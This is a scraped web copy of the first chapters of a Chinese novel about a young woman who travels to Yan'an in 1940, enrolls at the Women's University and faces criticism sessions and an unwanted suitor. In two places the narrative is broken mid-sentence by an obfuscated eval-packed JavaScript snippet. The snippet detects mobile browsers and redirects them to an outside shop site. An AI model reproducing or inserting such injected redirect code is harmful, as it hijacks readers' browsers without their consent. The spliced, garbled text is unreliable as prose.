《霜雪尘埃》 1. 第一章 初来延安 第一章 初来延安 “快来看啊,又有人来到了!” “是来参观的么?记者么?前几天刚刚送走几个的。” “听说是年轻的学生。” “那么要赶快去欢迎!” “好想看到外面新来的人啊,可以问问外边现在怎么样了。” 一九四零年的六月下旬,正是盛夏时节,下午两三点钟,陕北某处地方,一群穿灰布军装的人聚在一起,多数是二三十岁的青年,一个个兴致勃勃,望着前方大路上扬起的灰尘,是有车辆驶到了。 果然不多时,一辆大卡车便夹着滚滚黄尘,沿着黄土公路飞驰而来,很快在道路尽头停了下来,副驾驶的位置跳下一个二十六七岁、臂上佩戴“八路”臂章、干部模样的青年军人,冲着后面车斗喊道:“同志们,同学们,到了,这里就是延安!” 几乎就是立刻,车斗后方的横板打开了,里面的人一个接一个跳了下来,几乎每个人在地上站稳之后,转头左右看,都流露出一副惊奇而又兴奋的神色,纷纷叫着: “啊!延安!我终于到了延安!” “这不是在做梦吧?” 在这二三十个人的最末尾,一个身材纤细的女孩子慢慢从车斗爬下来,站在人群后方,从口袋里掏出手绢,擦了擦脸上的尘沙,然后也像其她人一样举目四望,不由得发出同样的感叹:“啊,这就是延安!我终于来到了这里!” 那个八路军的干部这时候招呼道:“同学们,大家拿好行李,就跟我走吧,现在去安排住处。” 然而那女孩子仿佛一时间没有听到他的话,别人已经闹哄哄地在取行李,她依然站在那里,向四面望着,那边有几个人,都是穿灰布军装,头发短短的,看不出是女人还是男人。 这时一个身量高挑、二十四五岁的女子将自己的背包背在肩上,转身视线一扫,便扫到了那个女孩,当即扬声叫道:“幼蕊,回魂了!快把包背好,我们要走了!” 那个叫“幼蕊”的女孩子这才回过神来,答应一声,慢吞吞从脚边提起方才别人掷在那里的一个包裹,随着大家一起,沿着灰尘腾腾的土路往前方走去,当走到一排窑洞前,她低头看看自己脚上的青缎面鞋子,为了即将来到延安而刚刚换上的一双新鞋,已经落满了黄色的沙尘。 她出神两秒钟,马上便暗暗地“呸”了一声:“黄幼蕊啊黄幼蕊,你在介意什么?莫非还在留恋在家中当小姐的日子?那样腐朽的生活有什么好怀念的?这是沙子,这是延安的沙子,延安的沙子都是神圣的,这就是革命,革命就是满身风沙。” 那个青年干部很快找分管住宿的同志,给大家分派了窑洞,五六个人住一间窑洞,黄幼蕊最后一个走进窑洞,又是之前招呼她的那个女子,在那里伸手叫着她:“幼蕊,快过来,睡这里!” 已经替她占好了铺位,就在紧邻着门的第二位,夏季通风,很是清凉,又不是直接靠着外面,能私密些。 黄幼蕊走过来,把自己的背包放在炕上,这时另一个女子抿着嘴笑:“淑兰姐,你真的好像幼蕊的亲姐姐。” 张淑兰噗嗤一笑,将短发往耳后一抿,很是爽朗地说:“我们来到延安,就都是革命同志,都是亲姐妹。啊,姚同志去了哪里?” 姚同志就是那个带她们来延安的八路军干部,叫做姚鹏,从重庆出发到延安,这一路将近半个月时间,都是他陪同,大家与他的感情很深。 过不多时,姚鹏的身影又出现在视线之中:“同志们,安顿好之后就赶快休息,今天晚上有一个特意为了你们而举行的晚会,很多领导都要来呢,有重要的报告听,到时候一定要精神饱满地参加啊!” 他这几句话一说出来,本来谈天正热闹的窑洞之中更加沸腾,就好像油锅之中丢了一根燃着的火柴,简直是亢奋了: “什么?为了我们,要专门开晚会?” “领导也要来吗?会看到主席吗?还有朱总司令呢?” “啊呀如果主席问我话,我要怎么样回答呢?姚同志,你见过主席吗?和主席说过话吗?” 一堆问题涌向了姚鹏,姚鹏难以一一回答,只得笑着说:“你们在延安住久了,总能见到主席和朱总司令的,都是很亲切的人,人民的领袖就是这样的,不是高高在上当官的,好了,现在休息一下吧,不要到了晚会上打瞌睡。” 给他这样打趣了两句,这一个窑洞中的青年女子们便也勉强镇定了一些,看着他离开了,便纷纷躺倒在土炕上: “啊哟,方才还不觉得,这时候躺下来,才觉得骨头酸痛呢!” “都是在车上颠的,我好在是不晕车,小高把胃里的酸水都吐了出来,实在是辛苦。” “可得好好歇一歇,否则到了会场上真的打瞌睡,可是很给人取笑的啊。” 黄幼蕊也很疲倦了,虽然来到延安十分兴奋,不过体力毕竟消耗相当大,这个时候逐渐平静下来,便觉得上下眼皮变得沉重,有点想要睡了,只是她翻了几个身,终究睡不着,土炕太硬了,炕上只铺一条席子,自己随身没带着被褥,背包里只是几件衣服,况且大脑神经虽然已不再激烈波动,却依然轻轻地颤动,让人一时难以入睡。 她就这样翻来覆去,过一阵终于昏昏沉沉,正在仿佛要沉睡的时候,忽然听到外面一阵大声喧哗,便将她惊醒了过来,从窑洞的门向外望去,天色已经暗淡下来,是要开晚会的时间了,许多人在外面奔走,于是黄幼蕊便与女伴们一同起了身,抹了一下脸,便随着人流往礼堂走去。 这一个晚会,这一群新到的青年学生给安排在最醒目的座位,一个看起来是高级干部的人上台讲话:“同志们,欢迎你们,来到革命的圣地!你们都是中国最有志向,最有朝气的热血青年,大江南北的爱国者来到这里,只有一个目的,就是抗战,就是革命……” 黄幼蕊与其她人一样,坐在板凳上,仰起脸出神地听着,大家都非常激动,尤其是女学生,从没想到自己能够受到这样的重视,给人如此瞩目,尤其“报告”内容又是如此鼓舞人,能够来到延安的人,都是中国最进步,最有为的,这让自己血管中的血液开始沸腾,只觉得胸中有无尽的热情与力量,就在这一刻,自己情愿献出所有的一切,只为着理想。 当夜,欢迎会一直持续到很晚,大约一直到午夜的样子,这才散去,回去窑洞的路上,黄幼蕊紧贴着张淑兰走着,两个人手臂挽着手臂,很亲切地说着话:“幼蕊,你看,这天上的月亮多清啊!” 张淑兰仰着头,望向夜空,那里挂着一枚半圆的月亮,非常的清,非常的白,而且不知为什么,显得格外的大,仿佛比起别的地方来,格外的挨近人。 黄幼蕊轻轻地说:“延安的天与别处不一样,月亮也和别处不同,在我的家乡桂林,虽然人家都说山水甲天下,可是我也没有看到过这么好的月亮,简直不想回去睡觉,就想在这里看月亮。” 张淑兰噗嗤一笑:“真是孩子话,已经半夜了呢,再不睡,明天早上怎么起得来?听说在延安,清晨起不来床,是会给人嘲笑的。而且到了明天,我们就要想一想,自己将来要怎么样,我们都是来这里读书的,要进哪所学校?学一些什么?将来为抗战做哪些工作?我想进抗大。” 黄幼蕊两只脚在地上走着,双眼依然望着月亮,悠悠地说:“我也想去抗大,不过那样的地方,不是我这样的人能够进去的吧?所以我想,还是先试试报考女子大学。” 淑兰姐是读过大学的,虽然因为抗战而失学,不过她的学识比自己丰富得多,又参加过“工合”运动,进入抗大应该是够资格的,然而自己只刚刚读了中学,哪里能进抗大呢? 张淑兰微微一笑,说道:“女子大学啊,那也是很好的,延安的女子大学,一定与外面的不一样,不是只教一些无用的才艺,为的小姐们将来好去当太太,延安的女子学校,应该会教给我们自立的本领,未来成为堂堂正正的人,而不是人家豢养的金丝雀。” 黄幼蕊叹了一口气:“姐姐啊,金陵女子大学听说是很好的,只是现在已经没有了。” 因了抗战的严峻形势,国民政府已经迁去了重庆,金陵女大自然不能继续留在南京,据说已经与男校合并了,还有东吴女大也是类似,茫茫中华,放眼四顾,居然难以找到女子求学的地方,当然也是可以进入男女混校的大学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344732|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但那些学校毕竟不是专门为了女子而设,本来是男子的地方,女学生只是附带,难免感觉落寞,只觉得中国之大,却没有一个属于女子的学问殿堂。 因此在这样的时局之下,延安能够创办一所专为女子修业的学校,怎么能不让人振奋向往呢?可见延安是当今中国最为光明的地方,是□□的希望所在。 两个人又走了一段路,随意漫谈着,张淑兰忽然说道:“我要把名字改掉,‘淑兰淑兰’,一听就是一副贤良淑德的小姐太太样,仿佛脑门上顶了一个牌坊,我要打破旧社会,就先从自己的名字开始,刚刚想了一个名字,叫做‘朝旭’,朝阳的朝,旭日的旭,我们女子,是东方的朝阳旭日,要照亮天地的,今后我就叫‘张朝旭’。” 黄幼蕊听了,眼睛一亮,拍着手笑道:“姐姐的这个名字改得好!为什么女人一定只能是月亮呢?我觉得女人才是太阳,是很温暖的,给大地带来光明与生命的太阳,未来的世界,应该是有女人参加的世界。” 张淑兰挑了挑眉毛,大声赞叹道:“幼蕊,说得好!” 旁边经过的人听着她们两个人的说话,仿佛也觉得有意思,咯咯地乐。 黄幼蕊想了一想:“淑兰姐,啊,朝旭姐,我也想改名字。” 张朝旭笑着问:“为什么呢?” “我不喜欢这个‘幼’字,好像永远是幼稚无力,要听从别人的教导,自己无法主张什么,仿佛哪怕到了八十岁,也不能按照自己的心意生活。” 自己一共三姐妹,两个姐姐的名字都比自己好,大姐叫做“菊霜”,二姐叫做“柏翠”,虽然都是相当的传统,浓浓的四书五经唐诗宋词之中走出来的人物,然而毕竟还带了成熟的意味,菊花傲霜,松柏长青,再看一看自己,叫做“幼蕊”,是母亲四十五岁时生育的小女儿,名字里便带了一个“幼”字,而且还是“幼蕊”,当然是格外娇嫩了,可是太脆弱。 张朝旭点了点头:“你说的有道理。” 自己的这位小妹妹,虽然在同来的一群青年学生之中年纪最小,中国岁十八岁,若是按西方的算法,只有十七岁,可是很敏感很有想法,在她小小的头脑里,藏着许多心思,就比如对名字的解读,就很给人以启发,自己也已经发现,在中国的社会之中,其实是在世界各国里,女子都好像终生是孩童,永远是未成年,社会认为她们没有自主的能力,也不应该自主,自立自主只是属于男人,男人才是人,而女人只是女人,或者是孩子,是需要男人约束督导的。 因此对于黄幼蕊的要改名字,张朝旭很是赞成,便问:“那么你想改成什么名字?” 黄幼蕊想了一想,有些苦恼地说:“哎呀,我不知道啊!那么多好字眼,个个都很有意思,哪一个都比我的名字好,却只能选择一个,真的好为难啊!” 张朝旭哈哈地笑起来,自己的这个妹妹啊,虽然往往眼神幽幽的,好像揣着无限的心思,仿佛一个古典式的幽闺淑女,可是终究也有天真的一面,比如此时,她那孩子气便流露了出来,好名字太多,不知道该挑哪个,突如其来的自由也是让人有点无措啊。 张朝旭便道:“回去了慢慢地想,反正明天也不能立刻进学校。” 到了第二天的早上,远远地听到外面的号声,黄幼蕊从炕上坐起身来,望向门口的张朝旭,张朝旭已经在洗脸了,从架子上的脸盆前抬起脸来,笑望着她:“幼蕊啊,两个黑眼圈,半宿没睡么?” 黄幼蕊抿嘴一乐:“朝旭姐,我想到了名字了!我叫做‘黄菲’,草木菲菲的菲,另外还谐音飞翔的飞,我要像鸟儿一样飞起来,展翅高飞。” 张朝旭点头:“好名字,黄菲,真的很好。” 说着绞干毛巾擦净了脸。 然后又叮嘱道:“快下来打水洗脸,许多人在那里排队,去得晚了,只怕一脸盆底的水都没得。” 黄菲听了,赶快爬起身来跳下炕,从网兜里拿出自己的小小搪瓷脸盆,撒开腿飞跑出去打水,而且她分明感到,肚子已经饿得咕咕叫,胃里简直在发疼了,昨天下午一两点在路上吃过了东西,之后就没有再吃饭,夜里又熬到那么晚,这时候迫切想要吃早饭。 2. 第二章 女子大学中的决心 第二章 女子大学中的决心 在延安又住了几天,各人的前途确定下来,张朝旭如愿进入抗大学习,而黄菲则是给接纳进中国女子大学,其她同来的人,有的进入陕公,有的进入鲁艺,也有人进入卫生学校,刚刚改名为医科大学。 到了这时,同来延安的青年学生便必须分开了,各自去往自己的学校,临别的时候,张朝旭握住黄菲的手,千叮万嘱:“在那里记得好好照顾自己,小米饭慢慢地嚼,不然伤胃,没有好身体,就无法革命,也无法解放妇女。” 黄菲点头如同鸡啄米:“我记得了,朝旭姐,你也自己保重,我有空就来看你。” 张朝旭笑着说:“我这两天就去那边看看你。” 女子大学在延河东岸,对面是中央党校和青干校,黄菲搬到女大的第二天,七月二十号,就是学校正式开学的日子,开学仪式上,校长王明做了报告:“中国女子大学的创设,当然是因应抗战的需要,所以,女大的课程在革命理论之外,着重实施职业教育,培养专门的技艺人才,给女子有一个职业的可能,不独为了抗战,为了革命而产生实际效力,也为了女子自己能够自立……” 黄菲坐在小板凳上,手里攥着铅笔,在膝盖上的笔记本上奋力书写,只可惜不能把王明先生说的话全都记下来,实在讲得太好,每个字都说到了她的心里,简直好像是从她自己的心眼里发出来的,只是若不是王校长讲出,自己总觉得朦朦胧胧,想要说而说不透彻,而王校长就讲得全都清楚了,黄菲真想把他说的每个字都写在本子上,今后时时重温,以便提醒自己,不要迷失与遗忘。 王明讲了将近一个钟头,接下来讲话的是教育长张琴秋,著名的红军女将领,她勉励大家努力学习,为妇女解放和中华民族的解放而奋斗,最后说道:“‘妇女解放,突起异军,两万万众,奋发为雄’,这是主席对妇女的厚望,年轻一代的女同胞,一定不能辜负主席的嘱托,不能辜负全国受苦受难姐妹们的期盼!” 到开学式结束,黄菲走出场地,忽然间想到,自己应该改换一下选修的专业,之前是选择了外语与新闻,为的是未来给革命做外交翻译工作,还有宣传工作,现在则是很想学速记,速记对于此时的自己,发生了强烈的吸引力。 第二天开始上课,黄菲就投入到了紧张的学习之中,革命理论课占了很大的比例,多是马克思、列宁的著作,也有领袖的文章,看一下政治课的科目:党史、近代史、社会发展史、政治经济学、抗日游击战争及抗日民族统一战线、新民主主义、妇女运动。 都是很高深的题目,所以有同学便玩笑似的说: “等我们学业结束,就可以去做政治工作。” “所以笔记一定要记好,黄菲,借你的笔记来瞧瞧!” 黄菲学习速记很有进展,短短一个月时间,已经能够进行基本的速记,课堂上老师的讲座,她能记下五六成,到如今已经九月末,两个月过去,愈发熟练了,已经用完一个厚厚的旧账簿,所以同学们纷纷找她借笔记。 实在太详尽了,都是很重要的内容,精华荟萃,比如“女子一直在沉睡,在中国当今如此轰轰烈烈的革命背景之下,这是不应当的,中国革命如果不能得到占人口一半的妇女的支持,难有成功的希望”,说得多好啊,让人心潮澎湃,胸中涌起无穷的力量。 要知道女子大学的校舍虽然简陋,甚至没有正式的教室,天气晴朗的时候,每个人搬一个板凳到树林里上课,如果是雨天,就在窑洞里讲解,不过来给学生们上课的□□,却都是赫赫有名的人物,就只是短短一个月时间,黄菲已经见到了周X来、张闻天、邓X超,校长王明也来上过课,这些领袖,理论素养和实践经验都相当深厚丰富,能够把他们的话都记录下来,对于今后的革命工作,简直是夜海明灯一般,可以指示方向。 听到借笔记,黄菲笑嘻嘻地答应了一声,埋头又开始整理自己的速记,当时确实记录下来,然而多是缩略的汉字与符号,假如不进行及时的整理,时间久了就容易忘记,即使当初是自己所做的速记,也可能茫然不知含义。 大家说着说着,就到了这一天的晚间七点,有人一声招呼,大家便聚在一起,开始了生活检讨会,这是每个周六常有的,共产党人传统的“批评与自我批评”,用这样的方式来克服缺点,让彼此进步,保证党的纯洁与活力。 检讨会上,一群年轻的学生纷纷说着别人与自己: “露云,你到这里来,究竟是来抗日的,还是来恋爱的?不过两个月,和你往来的男同学已经换了四个。” “是啊,为了谈朋友,上课迟到,晚上熄灯号都吹过了,也不肯回来,起初还只是偶尔,到如今愈发严重了,几乎天天如此,我们虽然是女子大学的学生,还没有加入八路军,但也应该用军人的标准来要求自己,要遵守纪律,不能这样散漫的。” 陈露云见检讨会一开,大家就把矛头对准了自己,不由得万分委屈:“我怎么了?不过是和男同学的关系比较好而已,哪像你们说的那样?到了延安,男女还不能自由交往吗?我们到延安,不是追求光明与自由的吗?” 黄菲在角落里抿着嘴笑,陈露云比自己大三岁,今年二十岁,已经晓得许多事情,相貌又很是美艳,身体也已经完全发育成熟了,即使包裹在灰色的军装里,也能够看得出曲线,走在外面,非常吸引人的视线,不但男同志——虽然在延安,要从服饰与发式分辨性别比较难,看起来都是一律,不过到这时候,黄菲已经知道,在这里,男同志的数量远多于女同志——就连女同志也往往会多看她两眼,而且她又很喜欢打扮,每天早上一定要照好一阵的镜子,对着那一面巴掌大的小镜子,把自己的头发衣服整理得妥妥帖帖,这才袅袅婷婷地出去了。 陈露云从上海来,是很讲“罗曼蒂克”的,有时候就拉着人唧唧哝哝地说着,“男朋友……时髦男子”,脑子里充满了绮丽浪漫的幻想,同宿舍其她人都不太理会她这些话题,包括最为忠厚的麻德芳,都不怎样搭茬,并不是要为了革命就隔绝爱情,只因为陈露云理解的爱情太庸俗肉麻,满心都是“电影明星”、“kiss”,趣味低级,大家都不很看得惯,唯独黄菲能够和她说几句,“恋爱神圣,爱情无罪!” 听着她这几句辩解,大家简直要气得乐了,熊晖毫不留情地说:“自由是这种自由法么?你这个样子,让延安的群众看了什么意思?以为我们革命青年,都是只知道谈情说爱,风花雪月,什么影响?” 陈露云愈发倔强,把脖子一梗:“那是老百姓太落后,她们都不看电影的么?” 旁边潘岳荣强忍着笑,说道:“你以为人家都能像你一样,天天逛电影院?要不要种地吃饭?而且我们来到这里,毕竟是读书,你上课不但迟到,而且还打瞌睡,□□已经说过你几次了,倘若一直这样,将来能学成什么?怎样自立?在延安这样一个全新的光明世界,是主张人人都劳动的,劳动才是光荣的,游手好闲可耻,倘若依附于人,为人所供养,更加耻辱,莫非我们逃离了外面那吃人的腐朽世界,到这里还要重复女子屈辱的命运吗?若是那样,不如趁早离开这里,在外面黑暗世界,女子的堕落是因为社会的压迫,在这里堕落,便是自己不争气。” 陈露云给她说得不能再作声,片刻之后忽地把头一扭:“你们只顾说我,怎么就不说黄菲?这么小小年纪,就有了男朋友。” 黄菲本来是静静地在一边瞧着,此时听了这句话,大惊失色:“露云,你不要胡说,我哪里有什么男朋友?” 陈露云见她如此慌张,不由得十分好笑,紫涨的面色渐渐恢复了,咯咯地乐:“你还要瞒人!就是送我们来这里的姚同志,一路多么关照你,行李都是他给你搬上搬下,别人的都丢在一旁,只有你的特别放在脚边,前两天还送了东西来,你都当不知道么?” 这一次轮到黄菲涨红了脸:“他是送给大家吃的,不单是给我一个人,当时大家都吃了啊! ” 就在两天前,姚鹏过来送花生,同宿舍的人吃得很香。 陈露云吃吃地笑:“是啊,说是送给我们大伙,但是当时眼睛可只是望着你一个。黄菲啊,你真的很是可以,来到这里不久,就有了一个干部喜欢你,将来你可能要当首长夫人呢。” 姚鹏现时级别不是很高,但也是营级呢,再升一级到了团级,就可以结婚,陈露云来这里虽然不久,但是一些重要的事情已经打听明白,晓得在延安,要恋爱结婚,得是“三五八团”,须得是团级干部,往往这样的男子,年纪不会特别轻,不过这倒是更好,级别高一些,才能有更好的待遇,津贴总能比别人高些,听说每个月有四元呢,自己虽然是来革命的,但实在不想嫁一个默默无闻的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344733|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黄菲给她几句话说得,脸上一阵红一阵白,眼睛里雾气蒙蒙,差一点就要流下眼泪来了。 熊晖实在听不下去,喝了一声:“陈露云,你自己成天满脑子想这些事,不要反过来安到黄菲身上,你还是好好想一想怎么跟上进度,你再这样,考试不及格,可能要退学的,到时候怎么办?回家里去么?” 陈露云给她这么一提醒,一个激灵便有点清醒过来,是啊,父亲卖女求荣,要让自己给一个糟老头子长官当偏房,自己若是回去了,便是生生跳入火坑,所以学校里的课程,还是要跟上才好,况且就算是要当首长的太太,也该有一点资本,倘若女大读不下来,半路退学,给首长知道了,怎么会要自己呢?有这样一个太太,多没面子啊,自己纵然不能像那些长征过来的女同志那样,双手打枪,文化方面总要够得上。 于是陈露云重重点头:“我知道了,以后不再这样。” 当晚的检讨会就这样结束了,就连黄菲都暗暗地松了一口气。 得说这样的生活检讨,她既喜欢,又感到有点为难,像是这样坦诚的批评与自我批评,在家里哪能看得到呢?在那里,每个人都是勾心斗角,当面笑容满脸,甜言蜜语,转过头来就说对方的坏话,在那样一个家里,每时每刻都要谨慎,不能与人说半句真心话,每个人都成了舞台上的人,都只是戴着脸谱念台词而已,久而久之,自己都忘记了自己本来是谁,那样的生活,实在太痛苦。 不过“批评与自我批评”虽然很好,起初黄菲却总觉得有点不好意思,批评别人虽然也有些尴尬,毕竟还好些,最难的是自我批评,还有接受别人的批评,真的很有些难堪啊,脸上难免发烧,在这样的场合,她左看看右看看,发现大家或多或少都是如此,还是熊晖说:“我们身上还带了小资产阶级的气息,这样是不行的,要用于自我批评,对同志也要坦白提出意见,这才是真正的革命同志,现在从我开始,我觉得我自己还是自由散漫,挑剔生活条件,吃小米饭不能习惯……” 熊晖是江苏人,来延安初次见到小米饭,还以为是蛋炒饭:“啊,这里有蛋炒饭啊,真好,不是说延安很艰苦么?这是特意为我们做的么?” 吃到嘴里才知道原来是小米,当时难过得她,皱着眉头差一点就吐了出来。 当时黄菲就坐在她不远处,看了她那失望的样子,不由得暗暗好笑,幸好自己读过《西行漫记》,晓得延安是吃小米的,所以不曾有这样奇异的想法。 又过了几天,便是十月十号,双十节,在延安也是相当隆重的,这一天学校放假,下午有盛大的庆祝会,庆祝会上,主席作报告,“……我们只有一个领袖,一个政府……拥护XX员长,拥护xx政府……不惜一切牺牲,抗战到底……打他十年,二十年,打出一个新中国……” 人山人海之中,黄菲入迷地听着,因为距离主席台比较远,她看不太清主席的面容,然而主席的声音给她留下深刻的印象,是那样的坚定有力,只要听到这样的声音,无论怎样巨大的困难,都觉得是可以战胜的,让人涌起无穷的信心。 晚上是会餐,黄菲盛了满满一碗“Xx合作饭”,就是大米和小米混合煮出来的米饭,米饭上铺了南瓜,还有几片猪肉,另一只手里拿了几块“列宁饼干”——小米锅巴,和同学们聚在一起,香喷喷地吃着,双十节难得的改善伙食,居然有大米和猪肉。 晚餐之后,天黑下来,这时提灯游X上场,许多人在纸灯笼里点起蜡烛,提着它成群结队前行,一边走,一边喊着口号: “拥护Xx员长!” “拥护Xx政府!” “抗战到底!” “中guo必胜!” 就这样一直到了午夜,人群才逐渐散去,回到窑洞,黄菲只觉得胸中的气血依然翻涌,她看了看同窑洞的另外七个人,都是脸上通红,显然也正在激动之中。 盘着腿坐在火炕上,女学生们的情绪依然热烈,你一言我一语地议论着今天的庆祝会,还有主席的讲话,潘岳荣猛地一拍大腿,如梦似幻地说:“姐妹们,咱们说好了,都不嫁老干部,一心抗日,砸碎旧世界,建立新中国,为千千万万的姐妹开辟崭新的生活,我们到延安,是来革命的,不是来当官太太的。” 大家拍着手纷纷赞成,黄菲更是要把掌心都拍红了,只有陈露云垂下头来,默默不语。 3. 第三章 急急急 第三章 急急急 十月下旬,在中国的旧历是九月,延安已经下了很浓的霜,清早起来,站在窑洞门前,望向前方,白菜田里一片淡淡的晶莹色泽。 二十七号这一天是礼拜天,学校不上课,早上出操又吃了早饭之后,黄菲窝在炕上,拥着一条被子,凑在油灯前便开始读书,从图书馆里借来的书,女大的图书馆在延安如今的条件之下,可以说是很不错的了,据说当初女大建校的时候,许多领袖都捐赠了资金,置办各种用品,图书馆是其中很重要的,主席带头捐赠了一百元,都拿来购买图书,所以女大的藏书也是不少呢。 黄菲早已经预备今天痛痛快快读一天的书,所以昨天礼拜六,她就去图书馆借好了书,两本小说,一本政治书,还有一本杂志,虽然知道一天时间决读不完这么多的书,然而黄菲就是想把它们都拿回来,摆在枕头边,只那么瞧着就够满足了,真正读起来,也是这本看一阵,那本看一阵,巴不得一时都看完。 得说她的这个秉性,不止是闲来读书,课业上也是如此,女大的选修课有几种,医药卫生、会计、缝纫、速记、新闻、外语,每个人可以选修两门,黄菲主修的是速记与英语,然而其它几门也都要学,但凡有一点时间,就过去旁听,还自己借了书来看。 □□发现她是如此,便劝她:“贪多嚼不烂。” 与其样样通样样松,不如专精一种。 然而黄菲回应了一句:“艺多不压身。” 自己是迫切地想要多学本领,与黑暗社会斗争,创造光明的世界。 此时周围一片热闹的谈话声。 “开展政治地位!”熊晖正起劲地说着。 这是女学生中的流行语。 黄菲就这么一直读到临近中午,把手里的《骆驼祥子》放下,换了那本杂志,《中国妇女》,去年创刊,是延安专门的一本妇女杂志,刊名是毛主席题写的,许多有学问的人在上面发表文章,讨论妇女问题,黄菲一进入女大,很快就发现了这本杂志,两周把旧的杂志都借来阅读了一遍,此后每期必看,只恨出的太少,每个月只出两卷。 很快到了吃午饭的时间,黄菲舍不得放下杂志,干脆麻烦潘岳荣帮自己打饭,匆匆吃了,又看过两篇文章,正在兴致盎然,忽然窑洞的门一开,一个人走了进来:“你们都在呢?太好了,大家一起来吃瓜子。” 于是窑洞内一时轰然。 黄菲抬起头来一看,不由得便是一皱眉,是姚鹏,自从那一回送她们来延安,他便再没有回重庆,四个月来都在延安,时不时就会过来女大,起先自己还没觉得,自从那一回听陈露云说了,从此便留意,果然好像有点不太对劲的样子,打那以后,黄菲就很不想看到他。 这时见他又来了,而且陈露云正在悄悄向自己挤眉弄眼,黄菲只觉得一阵气闷,一下子把杂志抛到旁边,起身将棉袄裹在身上,说了一声:“我出去透透气。” 便走了出去。 姚鹏登时便有些尴尬,手里提着的那包瓜子一时间也不知该往哪里放,还是潘岳荣接了过来,笑着招呼他坐下:“快请坐,喝开水。” 姚鹏挠了挠头:“我好像有点冒昧打扰了。” 熊晖笑道:“其实没什么,黄菲今天上午看了几个钟头的书,早就在说眼睛累,她从小的习惯,看上一个钟头的书,一定要到外面走一走的。” 姚鹏点点头:“是应该保重身体,身体是革命相当重要的条件。” 这时陈露云也凑了过来,笑嘻嘻地同他说话,姚鹏虽然有些失望,但不好立刻就走的,好在这一群女学生都很热情,不多时他的情绪便明朗起来,笑着一边喝水吃瓜子,一边与熊晖她们闲谈。 黄菲走出窑洞,一时也不知该往哪里去,便一路溜达着,往抗大这边来,去找张朝旭。 她进入女大之后,张朝旭果然遵守前言,很快便来看她,之后又来瞧过她两次,本来早应该回访的,只是自己一心扑在学业上,一直没有去望她,觉得有点对不住这位待自己如同亲姐妹的人。 抗大与女大颇有一段路程,黄菲信步走着,脑子里一边想着事情,她在回想自己的从前。 自己方才托词出来透气,倒不完全是敷衍姚鹏,的确是有这样的习惯,虽然父亲的家中很是富裕,乃是本乡数一数二的地主,而且诗书传家,不过自己在幼年时,却是寄养乡下,一直到六岁的时候,才给接回家里来,站在厅堂之中,只觉得周围一派陌生,对于那些称作是自己亲人的,一个也不认识。 这还只是自己痛苦的一部分,还有一部分,则是学识上的惭愧,从小抚养自己的乳母詹妈妈,虽然对自己眷爱极深,倾注了许多的情感,然而作为贫苦农妇,詹妈妈是不识字的,所以黄菲相比自己的那些姐妹兄弟,此时便显露出一个极大的短处,便是不识字。 她的两个哥哥,都是三岁就开始认字,两个姐姐虽然没有这样刻苦,不过到了六岁,也多少识得几个字,唯独她,大字不识一个,而且满脑子都是乡土那些阴曹地府、阎王小鬼,用父亲的话来说,就是“乌七八糟,下流龌龊”。 虽然对这个女儿没有什么感情,但毕竟是自己的孩子,既然接了回来,总不能让她就这么不读书,于是父亲便要母亲教小女儿识字,黄菲初握笔杆,想到的是在詹妈妈家中握着拨火棍,她这样的底子,习字必然便慢,父亲本来就不喜欢她,这时候更要骂:“蠢材蠢材!虽然一个女儿本来便没用,本没指望你读出什么来,然而蠢成这样,也实在是意想不到。” 之后谈论别人家的女儿要进新式学堂,父亲又发议论:“女孩子进的什么学堂?在家里读读便罢了,反正也不是那块材料,女孩子读书不行的,比如我家小五,根本就不开窍,样子倒是机灵,两个眼睛大大的,然而那书上的字就是钻不到脑子里去。” 听着父亲这样的话,黄菲当面就眼泪汪汪,背地里更不知痛哭了多少次,满心都是委屈,却又不知该如何诉说,而且那痛苦比之双亲将她丢在乡间,更加深了一层,对于双亲的无情,她还可以抱怨,然而此时是因为自己愚笨而给人责骂,黄菲便只能感觉惭愧了。 然而黄菲终究不是只知道惭愧的,看似脆弱缠绵的性格之中自有一种执拗,给父亲这样斥骂,她伤心之余发奋读书,一心要让别人知道,当初是看错了自己,于是每天从早到晚就只是看书,黄菲的头脑其实是灵活的,虽然不是聪明绝顶,然而却也不笨,央求母亲找来课本,就是哥哥的旧课本,在哥哥的帮助下,自修了小学课程,之后又是哥哥向父亲力争,自己得以去考中学,果然考取了,从此进入一个新的世界。 这十年苦读之中,多亏了当年随母亲一起来这边的老女佣宁凤姐,黄菲称她为宁妈妈,时常招呼她到外边走动,每当她读过一阵书,便听到宁妈妈的声音:“三小姐啊,快出来园子里逛逛,别总是看书,那书上的字看多了,把眼睛弄眍?了。” 黄菲倒是肯听宁妈妈的话,每当她招呼,往往便会放下书本,走出门来,站在庭院中望望那花那树,以是她拼命读书这么多年,虽然如今距离远了便看不太清楚,眼睛毕竟没有大坏。 这个习惯她到了延安也依然保持着,读过一阵书,便起来运动一下,不独是为了眼睛,也是为了身体,宁妈妈灯下做针线的时候,曾经郑重地叮嘱过她:“女孩子太聪明了不好,看的书太多,把身子都思虑坏了,越是那么聪明的小姐,便越容易糟蹋了身体,当年那边乡里郑家的小姐,简直是个仙女下凡,几岁就能写诗了,可是那身子骨弱的哦,给风吹吹就倒了,十六岁上就没了的,还没来得及过门,听说临死的时候那惨哦,大口吐血。” 于是黄菲便悚然,读书过一段时间,总要起来走走跳跳,等她长大一些便知道,郑家的小姐得的是肺痨,也就是如今所说的肺结核。 所以有一阵,黄菲曾经立志要当医生。 